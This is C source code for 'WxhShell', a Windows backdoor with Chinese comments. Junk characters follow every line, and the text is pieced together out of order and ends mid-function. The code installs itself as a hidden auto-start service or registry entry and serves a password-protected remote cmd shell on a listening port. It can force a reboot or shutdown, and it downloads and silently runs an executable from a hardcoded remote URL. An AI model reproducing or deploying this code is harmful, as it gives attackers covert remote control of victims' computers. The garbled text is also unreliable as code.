  // 关机 tEKmy7'#  
  case 'd': { G) 7;;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TbGn46!:  
    if(Boot(SHUTDOWN)) Dg?70v <a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JB`\G=PiL  
    else { Q/_f zg  
    closesocket(wsh); `-l6S  
    ExitThread(0); DhT>']Z  
    } v` 7RCg`  
    break; ie\"$i.98H  
    } PCM-i{6/  
  // 获取shell *ikc]wQr$  
  case 's': { -~ Mb  
    CmdShell(wsh); 5Z\#0":e  
    closesocket(wsh); ws|;  `  
    ExitThread(0); L>%o[tS  
    break; #9xd[A : N  
  } m{uxI za  
  // 退出 )3w@]5j  
  case 'x': { % !>I*H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #+5pgD2C  
    CloseIt(wsh); aL%AQB,  
    break; muZ~*kMc  
    } 9Hu/u=vB<  
  // 离开 ul2")HL];  
  case 'q': { &twf,8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PGBQn#c<  
    closesocket(wsh); ;YX4:OBqr  
    WSACleanup();  }'/`2!lY  
    exit(1); .CU5}Tv-  
    break; ;@Z#b8aM}  
        } (B_\TdQ  
  } "xHgqgFyO  
  } OJ zs Q  
>U*T0FL7  
  // 提示信息 ?1$fJ3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $UCAhG$  
} \lC   
  } d'$T4yA  
Z->p1xkX  
  return; [E JQ>?D  
} Jesjtcy<*  
,o,I5>`  
// shell模块句柄 ICkp$u^  
int CmdShell(SOCKET sock) 0B@Jity#!  
{ Qj6/[mUr~  
STARTUPINFO si; p2udm!)J  
ZeroMemory(&si,sizeof(si)); y+6o{`0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pg%aI,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )>-ibf`#?  
PROCESS_INFORMATION ProcessInfo; K7Wk6Aw  
char cmdline[]="cmd"; glXZZ=j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iN0nw]_*  
  return 0; "D=P8X&vs  
} '-b*EZU8t  
$.v5~UGb{\  
// 自身启动模式 $K'|0   
int StartFromService(void) EEZw_ 1  
{ MR<;i2p  
typedef struct C[Dav&=^F  
{ aj,T)oDbt6  
  DWORD ExitStatus; I=9!Rs(QF  
  DWORD PebBaseAddress; z` FCs,?K  
  DWORD AffinityMask; B0WJ/)rK<  
  DWORD BasePriority; ez!C?  
  ULONG UniqueProcessId; 8o 0%@5M  
  ULONG InheritedFromUniqueProcessId; ' n$ %Ls}S  
}   PROCESS_BASIC_INFORMATION; ql?=(b;D  
hk;7:G  
PROCNTQSIP NtQueryInformationProcess; % v7[[U{T  
Zg`Mz _?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S"k *6 U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'hv k  
qt^T6+faaQ  
  HANDLE             hProcess; ^=SD9V  
  PROCESS_BASIC_INFORMATION pbi; 5-0{+R5v  
jSuL5|Gui  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cEd+MCN  
  if(NULL == hInst ) return 0; 9n5<]Q (  
2hQ>:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (S`2[.j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mzc 4/<th  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `o?Ph&p}  
1=a>f "cyf  
  if (!NtQueryInformationProcess) return 0; +_xOLiu  
YxinE`u~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !i%"7tQ3$  
  if(!hProcess) return 0; UaViI/ks  
{ TRsd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e$uiJNS2  
XNb ZNaAd  
  CloseHandle(hProcess); F. =Bnw/-  
RxN,^!OV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SdwS= (e6  
if(hProcess==NULL) return 0; b-*3 2Y%  
^ Dt#$Z  
HMODULE hMod; lmSo8/%T  
char procName[255]; \3jW~FV  
unsigned long cbNeeded; 9{8GP  
$gM8{.!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <K4 ,7J$}h  
ZzBQe  
  CloseHandle(hProcess); U}l14  
zf>5,k'x'A  
if(strstr(procName,"services")) return 1; // 以服务启动 FwZ>{~?3  
~/ilx#d  
  return 0; // 注册表启动 ^F"iP7   
} w L^%w9q-  
'EfR|7m  
// 主模块 4r0b)Y &I  
int StartWxhshell(LPSTR lpCmdLine) Yl$SW;@  
{ g@Qgxsyk>  
  SOCKET wsl; b (I2m  
BOOL val=TRUE; PeE/iZ.  
  int port=0; 2kUxD8BcN  
  struct sockaddr_in door; %F*|;o7s  
*d',Vuv&[  
  if(wscfg.ws_autoins) Install(); d'Axum@  
u}|%@=xn  
port=atoi(lpCmdLine); >xn}N6Rj2~  
3QOUU,Dt$  
if(port<=0) port=wscfg.ws_port; BMIyskl=i  
@IP)S[^' t  
  WSADATA data; nbTVU+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HH>:g(bu  
fn/7wO$!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^+9sG$T_EV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `H3.,]  
  door.sin_family = AF_INET; `3'0I/d"z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~b|`'kU  
  door.sin_port = htons(port); 1I}b|6 `  
08m;{+|vY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C}*cx$.  
closesocket(wsl); ^Mk%z9 ?  
return 1; cbu@*NzY,  
} \rV B5|D?  
D*Q.G8(  
  if(listen(wsl,2) == INVALID_SOCKET) { 5I@w~z  
closesocket(wsl); 6k/U3&R  
return 1; U70]!EaT  
} PSmfiaThwo  
  Wxhshell(wsl); 0G2g4DSKD  
  WSACleanup(); 92'wkS  
KYxBVgJ  
return 0; @i3bgx>_o  
N=)z  
} i o3yLIy,  
*+b6B_u]  
// 以NT服务方式启动 <p?&udqD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  X}6#II  
{ 8g >b  
DWORD   status = 0; [!VOw@uz  
  DWORD   specificError = 0xfffffff; U#o'H @  
T=YzJyQC)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; **[Z^$)u(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X{-9FDW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^R$'eG 4L?  
  serviceStatus.dwWin32ExitCode     = 0; fXQiNm[P  
  serviceStatus.dwServiceSpecificExitCode = 0; ;*[9Q'lI*  
  serviceStatus.dwCheckPoint       = 0; 1SV^){5I  
  serviceStatus.dwWaitHint       = 0; 3?s ?XAh  
"XLe3n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]fI/(e_U  
  if (hServiceStatusHandle==0) return; 4E:bp   
W];EKj,3W  
status = GetLastError(); &wetzC )  
  if (status!=NO_ERROR) r CRgzC  
{ >uI$^y1D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2n`Lg4=  
    serviceStatus.dwCheckPoint       = 0; v}v 5  
    serviceStatus.dwWaitHint       = 0; m!OMrZ%)}  
    serviceStatus.dwWin32ExitCode     = status; s Fgadz6O  
    serviceStatus.dwServiceSpecificExitCode = specificError; bxXiQa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U~2`P  
    return; oT|m1aGE  
  } ,`8Y8  
*V;3~x!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gK3Mms]}m  
  serviceStatus.dwCheckPoint       = 0; - n6jG}01b  
  serviceStatus.dwWaitHint       = 0; RX2{g^V7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s-V SH  
} fH8!YQG8$  
&VWlt2-R0h  
// 处理NT服务事件,比如:启动、停止 Cv=GZGn-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~L+]n0*  
{ ^Dx#7bsDZR  
switch(fdwControl) ]wuy_+$  
{ G7* h{nE  
case SERVICE_CONTROL_STOP: cUDgM  
  serviceStatus.dwWin32ExitCode = 0; !@ YXZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nD,{3B#  
  serviceStatus.dwCheckPoint   = 0; ;</Twm;:  
  serviceStatus.dwWaitHint     = 0; (w2= 2$  
  { wX'}4Z=C~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $rG<uO  
  } B">yKB:D}t  
  return; 2#_38=K=@  
case SERVICE_CONTROL_PAUSE: 5`E))?*"Pe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \T-~JQVj  
  break; `HX3|w6W;  
case SERVICE_CONTROL_CONTINUE: [D'Gr*5~{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3LlU]  
  break; px9>:t[P  
case SERVICE_CONTROL_INTERROGATE: 2go>  
  break; 1=Ilej1  
}; oVB"f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b5e@oIK  
} /b.oEGqZX  
CM~MoV[k7e  
// 标准应用程序主函数 =V^@%YIn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i|\{\d  
{ a]VGUW-  
$<ddy/4  
// 获取操作系统版本 GF--riyfB  
OsIsNt=GetOsVer(); iY.eJlfH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KC&`x |  
+|C[-W7Sw  
  // 从命令行安装 :J(sXKr[C  
  if(strpbrk(lpCmdLine,"iI")) Install(); r7)@M%A  
@%@zH%b  
  // 下载执行文件 FUaNiAr[  
if(wscfg.ws_downexe) { _JOP[KHb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )45_]tk >  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4-:7.I(hq  
} =p\Xy*  
,sb1"^Wc  
if(!OsIsNt) { ~|) 9RUXr>  
// 如果时win9x,隐藏进程并且设置为注册表启动 4S *,\q]q  
HideProc(); !z=pP$81  
StartWxhshell(lpCmdLine); & QY#3yj=  
}  ]R Mb,hJ  
else qiNliJ>40E  
  if(StartFromService()) \mXqak,y  
  // 以服务方式启动 }h~'AM  
  StartServiceCtrlDispatcher(DispatchTable); / = ^L iP  
else _IYY08&(r  
  // 普通方式启动 t>U!Zal"  
  StartWxhshell(lpCmdLine); u3wL<$2[8  
X7e/:._SAH  
return 0; sA_X<>vAKJ  
} kQ}s/*  
z Z%/W)t  
)bYez  
H%Y%fQ ~^  
=========================================== 5L &:_iQZy  
IH3FK!>6  
<-|SIF  
*j<@yG2\gP  
t&"5dM\  
RWahsJTu  
" <PD|_nZT  
HtzMDGV<  
#include <stdio.h> qWB%),`j>  
#include <string.h> q 22/_nSC  
#include <windows.h> %}F"*.  
#include <winsock2.h> xzK>Xi?  
#include <winsvc.h> W#45a.v  
#include <urlmon.h> nO@+s F  
kukaim>K  
#pragma comment (lib, "Ws2_32.lib") sfC@*Y2XT  
#pragma comment (lib, "urlmon.lib") ;Prg'R[o;  
2k3 z'RLG  
#define MAX_USER   100 // 最大客户端连接数 FR'b`Xv:  
#define BUF_SOCK   200 // sock buffer _5h0@^m7y  
#define KEY_BUFF   255 // 输入 buffer p#M!S2&z  
Y\u_+CG*  
#define REBOOT     0   // 重启 /.-m}0h|W-  
#define SHUTDOWN   1   // 关机 @}G|R\2P  
6 ">oo-  
#define DEF_PORT   5000 // 监听端口 fMB4xbpD  
6bJ"$o  
#define REG_LEN     16   // 注册表键长度 kh&_#,  
#define SVC_LEN     80   // NT服务名长度 e3rfXhp  
R1 qMg+  
// 从dll定义API td/5Bmj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nCB[4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 36i_D6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]n1D1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7xR|_+%~K  
x9\J1\  
// wxhshell配置信息 J=L`]XE  
struct WSCFG { GG>Y/;^  
  int ws_port;         // 监听端口 ./)j5M  
  char ws_passstr[REG_LEN]; // 口令 J/gQQ. s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1Q_ ``.M  
  char ws_regname[REG_LEN]; // 注册表键名 7 NUenCdc  
  char ws_svcname[REG_LEN]; // 服务名 WFpl1O73  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |QqWVelc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q @*UUj@   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eHROBxH&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WnO DDr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +cw{aI`a8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U;>B7X;`E4  
9T]va]w?#  
}; |3|wdzV  
4Qhx[Hv>(  
// default Wxhshell configuration T/5nu?v  
struct WSCFG wscfg={DEF_PORT, *<CxFy;|  
    "xuhuanlingzhe", Obg@YIwn  
    1, %g5jY%dg.r  
    "Wxhshell", Z c<]^QR  
    "Wxhshell", z}mvX .j7  
            "WxhShell Service", ?P YNE  
    "Wrsky Windows CmdShell Service", V!}L<cN  
    "Please Input Your Password: ", yx 7loy$[  
  1, ;HT0w_,  
  "http://www.wrsky.com/wxhshell.exe", F94V5_[  
  "Wxhshell.exe" !~tnt i6  
    }; YN`UTi\s  
x:vrK#8D>  
// 消息定义模块 n=r= u'oi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  TVj1C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gBfX}EK7F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }P16Xb)p  
char *msg_ws_ext="\n\rExit."; % M+s{ l  
char *msg_ws_end="\n\rQuit."; pV_}Or_  
char *msg_ws_boot="\n\rReboot..."; x1:vUHwC  
char *msg_ws_poff="\n\rShutdown..."; lW&[mnR  
char *msg_ws_down="\n\rSave to "; 6WCmp,*  
KdS eCeddW  
char *msg_ws_err="\n\rErr!"; 8\P JSr  
char *msg_ws_ok="\n\rOK!"; i:R!T,  
"{mt?  
char ExeFile[MAX_PATH]; )ZviS.  
int nUser = 0; Ep,1}Dx  
HANDLE handles[MAX_USER]; Za34/ro/T  
int OsIsNt; -wBnwn-  
Y<de9Z@  
SERVICE_STATUS       serviceStatus; |@OJ~5H/{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O&F< oM  
nO-d" S*  
// 函数声明 kzW\z4f  
int Install(void);  \8 g.  
int Uninstall(void); 1k0^6gE|  
int DownloadFile(char *sURL, SOCKET wsh); xqU^I5Z  
int Boot(int flag); W6h NJb  
void HideProc(void); 'wegipK~R  
int GetOsVer(void); QZqp F9Eu  
int Wxhshell(SOCKET wsl); j}i,G!-u  
void TalkWithClient(void *cs); d|R HG  
int CmdShell(SOCKET sock); D1"1MUSod  
int StartFromService(void); S|s3}]g9  
int StartWxhshell(LPSTR lpCmdLine); X"laZd947>  
(=6P]~,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VvzPQk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sn2r >m3  
fYv ;TV>73  
// 数据结构和表定义 5 1v r^  
SERVICE_TABLE_ENTRY DispatchTable[] = DIL)7K4  
{ D[+|^,^>  
{wscfg.ws_svcname, NTServiceMain}, =lYvj  
{NULL, NULL} UU*0dSWr  
}; tbL1g{Dz,  
ks)fQFSbu  
// 自我安装 LqMe'z  
int Install(void) 7 _X&5ni  
{ #tCIuQ,  
  char svExeFile[MAX_PATH]; 4+BrTGp  
  HKEY key; C+}CU}  
  strcpy(svExeFile,ExeFile); zUvB0\{q  
Bb$S^F(Xq  
// 如果是win9x系统,修改注册表设为自启动 Rv0-vH.n  
if(!OsIsNt) { ;:-}z.7Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hQ\#Fhu7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Mit$mFn  
  RegCloseKey(key); r[Zg 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {\ A_%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^[k6]1h  
  RegCloseKey(key); `#-p,NElV  
  return 0; -Pv P  
    } ,^UcRZ8.H  
  } |p'_k(z}  
} lqhHbB  
else {  /<(R  
1uK)1%vK  
// 如果是NT以上系统,安装为系统服务 H57jBD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l6r%nHP@  
if (schSCManager!=0) [N'r3  
{ cL-6M^!a  
  SC_HANDLE schService = CreateService .N?|t$J  
  ( E&}H\zt#  
  schSCManager, L5hQdT/b$  
  wscfg.ws_svcname, W66}\&5  
  wscfg.ws_svcdisp, 9aW8wYL~b  
  SERVICE_ALL_ACCESS, 54, Ju'r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J@=!w[v+  
  SERVICE_AUTO_START, bEOOFs  
  SERVICE_ERROR_NORMAL, |DdW<IT`0  
  svExeFile, .&aVx]  
  NULL, UHTb61Gs  
  NULL, ~hxeD" w  
  NULL, C.DoXE7  
  NULL, V>~*]N^f  
  NULL ylo]`Nq  
  ); roK4RYJ7)  
  if (schService!=0) MVu[gB  
  { <v1_F;{n  
  CloseServiceHandle(schService); EBN]>zz  
  CloseServiceHandle(schSCManager); C.B8 J"T-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;jpw"-J`  
  strcat(svExeFile,wscfg.ws_svcname); r;@:S~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LIm$Wl1U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _rWTw+ L  
  RegCloseKey(key); (7 ]\p  
  return 0; {Tjtj@-  
    } *X"F:7  
  } 2n"*)3Qj  
  CloseServiceHandle(schSCManager); X.r!q1_c  
} +'{:zN5m  
} 3R Y|l?n>  
J:M<9W  
return 1; FQv02V+&<  
} ,cl"1>lp  
h0ZW,2?l  
// 自我卸载 ?Mgt5by  
int Uninstall(void) ^@l5u=  
{ E!O(:/*  
  HKEY key; kiBOyC!r6  
r' 97\|  
if(!OsIsNt) { r(`8A:#d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jHUz`.8B  
  RegDeleteValue(key,wscfg.ws_regname); g/J^K*3]  
  RegCloseKey(key); <3J=;.\6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d- _93  
  RegDeleteValue(key,wscfg.ws_regname); kG~ivB}x  
  RegCloseKey(key); "X!_37kQ  
  return 0; -&HoR!af  
  } "1pZzad  
} b W`)CWd  
} `s|\" @2  
else { k -t,y|N  
f(zuRM^5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >ZOZv  
if (schSCManager!=0) ;9- 4J  
{ 's%ct}y\J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ir1RAmt%  
  if (schService!=0) Jq=>H@il  
  { Qcy+ {j]  
  if(DeleteService(schService)!=0) { ;_;H(%uY  
  CloseServiceHandle(schService); NEjB jLJZ  
  CloseServiceHandle(schSCManager); QRn:=J%W W  
  return 0; 0[3tW[j  
  } Hr_x~n=w  
  CloseServiceHandle(schService); ~>wq;T:=  
  } +O%a:d%  
  CloseServiceHandle(schSCManager); Qr xO erp  
} yp7,^l  
} Phjf$\pt  
[eTck73  
return 1; kdZ-<O7@  
} Y7IlqC`i  
2oNPR+ -  
// 从指定url下载文件  &~f*q?xR  
int DownloadFile(char *sURL, SOCKET wsh) Ky{I&}+R|  
{ :O_<K&  
  HRESULT hr; Yru1@/;  
char seps[]= "/"; #0$eTdx#  
char *token; PSt|!GST  
char *file; TBLk+AR  
char myURL[MAX_PATH]; ;/]c^y  
char myFILE[MAX_PATH]; u9[w~U#  
|Z +E(F  
strcpy(myURL,sURL); \H'CFAuF  
  token=strtok(myURL,seps); ~wQ WWRk  
  while(token!=NULL) bB[*\  
  { vU=k8  
    file=token; 7dL=E"WL  
  token=strtok(NULL,seps); p>hCh5  
  } :X'U`jE  
)SO1P6  
GetCurrentDirectory(MAX_PATH,myFILE); V3Rnr8  
strcat(myFILE, "\\");   ]q\=  
strcat(myFILE, file); '$&(+>)z `  
  send(wsh,myFILE,strlen(myFILE),0); h;h,dx  
send(wsh,"...",3,0); -O,O<tOm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $f@-3/V6{  
  if(hr==S_OK) mZ.6Njb  
return 0; ^a0 -5  
else gB'Ah-@,P  
return 1; OA5md9P;d  
T;vPR,]rz  
} &JzF   
k>@^M]%  
// 系统电源模块 MyS7AL   
int Boot(int flag) ' c\TMb.  
{ mf_ 9O  
  HANDLE hToken; H0Gp mKYW  
  TOKEN_PRIVILEGES tkp; "7u"d4h-:(  
H@bmLq  
  if(OsIsNt) { 7'l{I'Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n"VE!`B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;@UX7NA  
    tkp.PrivilegeCount = 1; ~$`YzK^*X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p!5JO4F$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OKH~Y-%<  
if(flag==REBOOT) { InGbV+ I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qSs^}eN  
  return 0; rcb/X`l=  
} rG'k<X~7  
else { [[Eu?vQ9R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +c2=*IA/  
  return 0; ^)K[1]"uM  
} ~k_zMU-1  
  } IpVwnNj!}  
  else { [A/+tv  
if(flag==REBOOT) { #1lS\!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ud?d.  
  return 0; mI*>7?  
} vxfh1B&  
else { <'yC:HeAwD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9w<_XXQ  
  return 0; ]d;/6R+Vs  
} RIpq/^Th  
} I&@@v\$*  
\:^n-D*fX  
return 1; aNEy1-/(\  
} ].+G-<.:  
F n Rxc  
// win9x进程隐藏模块 _ r)hr7  
void HideProc(void) [ ESQD5&  
{ o sH,(\4_  
@(5RAYRV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "k@/Z7=  
  if ( hKernel != NULL ) J A2}  
  { @g5]w&o_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2\W<EWJ@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -5*;J&.  
    FreeLibrary(hKernel); ^x#RUv  
  } KTREOOu .t  
^mb*w)-p?  
return; PH=8'GN  
} #j5^/*XW  
5?Ao9Q]@  
// 获取操作系统版本 s9dBXfm  
int GetOsVer(void) !f2>6}hE  
{ ]$*_2V3VA$  
  OSVERSIONINFO winfo; D#AxgF_He  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sk%|-T(d$  
  GetVersionEx(&winfo); Ceb i9R[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n8ya$bc  
  return 1; Q&\ksM  
  else /JY i^rZ  
  return 0; WkmS   
} :Fk&2WsW:  
U} h |Zk  
// 客户端句柄模块 q.tL'  
int Wxhshell(SOCKET wsl) #>oO[uaY  
{ Hs!CJ(0"y  
  SOCKET wsh; C#cEMKa  
  struct sockaddr_in client; ,6)y4=8 L  
  DWORD myID; cjpl_}'L:  
spDRQ_qq  
  while(nUser<MAX_USER) !ry+ r!"  
{ PQ|x?98  
  int nSize=sizeof(client); :G)x+0u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4s2ex{$+MA  
  if(wsh==INVALID_SOCKET) return 1; hkc_>F]Hx  
bHG>SW\]`?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?':'zT  
if(handles[nUser]==0) t;6/bT-  
  closesocket(wsh); XV!EjD~q  
else 0`=?ig_  
  nUser++; 8=Ht+Br  
  } \OB3gnR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6g&nnA  
Y'R1\Go-  
  return 0; 5jk4k c  
} .U {JI\  
S-dV  
// 关闭 socket &"0[7zgYQz  
void CloseIt(SOCKET wsh) )Jn80~U|1  
{ ,5WDYk-  
closesocket(wsh); <:o><f+  
nUser--; wAPdu y[  
ExitThread(0); );LwWKa  
} PUArKBYM-  
1(a\$Di  
// 客户端请求句柄 {S~$\4vC!  
void TalkWithClient(void *cs) 2J <Z4Ap  
{ 14zzWzKx  
ShxX[k  
  SOCKET wsh=(SOCKET)cs; IA!Kp g W  
  char pwd[SVC_LEN]; EeJ] > 1  
  char cmd[KEY_BUFF]; lvffQ_t  
char chr[1]; =Q/i< u  
int i,j; <GEn9;\  
BW[K/l~"$:  
  while (nUser < MAX_USER) { K.Ir+SB  
548BM^^"r  
if(wscfg.ws_passstr) { _FgeE`X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); djM=QafB:C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "yk%/:G+  
  //ZeroMemory(pwd,KEY_BUFF); 2 {0VyLx  
      i=0; 06 1=pV$CJ  
  while(i<SVC_LEN) { QI<3N  
WDR!e2G  
  // 设置超时 nrS_t y  
  fd_set FdRead; C]cw@:o%  
  struct timeval TimeOut; >i<-rO>kN  
  FD_ZERO(&FdRead); 9x\G(w  
  FD_SET(wsh,&FdRead); @TDcj~oR ?  
  TimeOut.tv_sec=8; eU0-_3gN_  
  TimeOut.tv_usec=0; [5-5tipvWp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yFqC-t-i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gw^+[}U#  
TMBdneS-s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I&c#U+-A'  
  pwd=chr[0]; nm.d.A/]Z  
  if(chr[0]==0xd || chr[0]==0xa) { %{"STbO#>  
  pwd=0; }vIm C [  
  break; .}wir,  
  } !NtY4O/  
  i++; Y'9deX+  
    } g11K?3*%Q  
g(^l>niF:  
  // 如果是非法用户,关闭 socket =\.|'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DQ$/0bq   
} :h@:F7N _  
?9cy5z[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b :00w["  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~r3g~MCHS  
E%N]t} }[  
while(1) { 98"NUT  
QkbN2mFv%  
  ZeroMemory(cmd,KEY_BUFF); 4j5 "{  
@ Ia ~9yOY  
      // 自动支持客户端 telnet标准   2_C.-;!  
  j=0; +Gko[<  
  while(j<KEY_BUFF) { dmne+ufB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2NM} u\%c/  
  cmd[j]=chr[0]; ;a"Ukh  
  if(chr[0]==0xa || chr[0]==0xd) { YQOGxSi  
  cmd[j]=0; h?sh#j6  
  break; c-F&4V  
  } >8so'7(  
  j++; YuZnuI@m9  
    } ]M/w];:  
:%gBcL9T  
  // 下载文件 (0r6_8e6xv  
  if(strstr(cmd,"http://")) { e [n>U@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DWG}}vN:&  
  if(DownloadFile(cmd,wsh)) h pU7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ro+FJ r  
  else a/1{tDA  
